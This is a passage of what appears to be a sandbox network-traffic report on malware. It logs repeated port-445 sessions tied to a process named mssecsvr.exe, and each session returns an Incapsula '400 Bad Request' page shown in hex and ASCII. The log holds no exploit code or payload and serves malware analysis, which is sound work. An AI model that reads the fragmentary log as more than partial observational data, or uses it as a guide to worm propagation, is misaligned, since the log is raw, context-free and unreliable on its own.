http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=12-115226369-0%200NNN%20RT%281658338430046%201%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-569485459729484876&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-569485459729484876</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
142	45.60.207.26	445	192.168.2.7	59470	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:33:50.219330072 CEST	11516	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 700 X-Iinfo: 12-110065743-0 0NNN RT(1658338429759 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 31 32 2d 31 31 30 30 36 35 37 34 33 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 34 32 39 37 35 39 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 35 34 32 33 37 37 31 34 36 30 36 32 34 37 34 33 38 30 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 35 34 32 33 37 37 31 34 36 30 36 32 34 37 34 33 38 30 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=12-110065743-0%200NNN%20RT%281658338429759%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-542377146062474380&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-542377146062474380</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
143	45.60.207.26	445	192.168.2.7	59778	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:33:53.330593109 CEST	11528	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 700 X-Iinfo: 12-110066453-0 0NNN RT(1658338432870 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 31 32 2d 31 31 30 30 36 36 34 35 33 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 34 33 32 38 37 30 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 35 34 32 33 38 30 34 38 37 35 34 37 30 33 30 36 36 38 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 35 34 32 33 38 30 34 38 37 35 34 37 30 33 30 36 36 38 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=12-110066453-0%200NNN%20RT%281658338432870%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-542380487547030668&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-542380487547030668</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
144	45.60.207.27	445	192.168.2.7	59782	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:33:53.447921038 CEST	11530	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 696 X-Iinfo: 12-7278160-0 0NNN RT(1658338433074 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 31 32 2d 37 32 37 38 31 36 30 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 34 33 33 30 37 34 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 33 34 36 35 34 33 39 38 39 31 30 33 37 30 34 34 34 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 33 34 36 35 34 33 39 38 39 31 30 33 37 30 34 34 34 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=12-7278160-0%200NNN%20RT%281658338433074%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-34654398910370444&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-34654398910370444</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
145	45.60.207.27	445	192.168.2.7	60028	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:33:56.552968979 CEST	11543	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 697 X-Iinfo: 10-4955627-0 0NNN RT(1658338436130 49) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 31 30 2d 34 39 35 35 36 32 37 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 34 33 36 31 33 30 25 32 30 34 39 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 32 33 33 37 36 36 33 35 31 32 39 38 32 37 39 37 38 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 32 33 33 37 36 36 33 35 31 32 39 38 32 37 39 37 38 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=10-4955627-0%200NNN%20RT%281658338436130%2049%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-23376635129827978&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-23376635129827978</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
146	45.60.207.28	445	192.168.2.7	60149	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:33:58.355300903 CEST	11547	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 698 X-Iinfo: 9-68818060-0 0NNN RT(1658338437907 1) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 39 2d 36 38 38 31 38 30 36 30 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 34 33 37 39 30 37 25 32 30 31 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 33 33 35 32 39 37 39 33 39 32 33 31 39 33 37 34 38 31 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 33 33 35 32 39 37 39 33 39 32 33 31 39 33 37 34 38 31 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=9-68818060-0%200NNN%20RT%281658338437907%201%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-335297939231937481&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-335297939231937481</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
147	45.60.207.28	445	192.168.2.7	60266	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:34:01.683341026 CEST	11556	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 698 X-Iinfo: 7-37202522-0 0NNN RT(1658338441236 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 37 2d 33 37 32 30 32 35 32 32 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 34 34 31 32 33 36 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 31 37 38 34 39 37 33 39 33 34 34 38 36 35 33 37 36 37 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 31 37 38 34 39 37 33 39 33 34 34 38 36 35 33 37 36 37 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=7-37202522-0%200NNN%20RT%281658338441236%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-178497393448653767&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-178497393448653767</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
148	45.60.207.29	445	192.168.2.7	60315	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:34:01.862056017 CEST	11560	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 700 X-Iinfo: 13-135012797-0 0NNN RT(1658338441775 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 31 33 2d 31 33 35 30 31 32 37 39 37 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 34 34 31 37 37 35 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 36 33 38 36 30 35 30 31 36 34 34 37 31 32 37 34 33 37 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 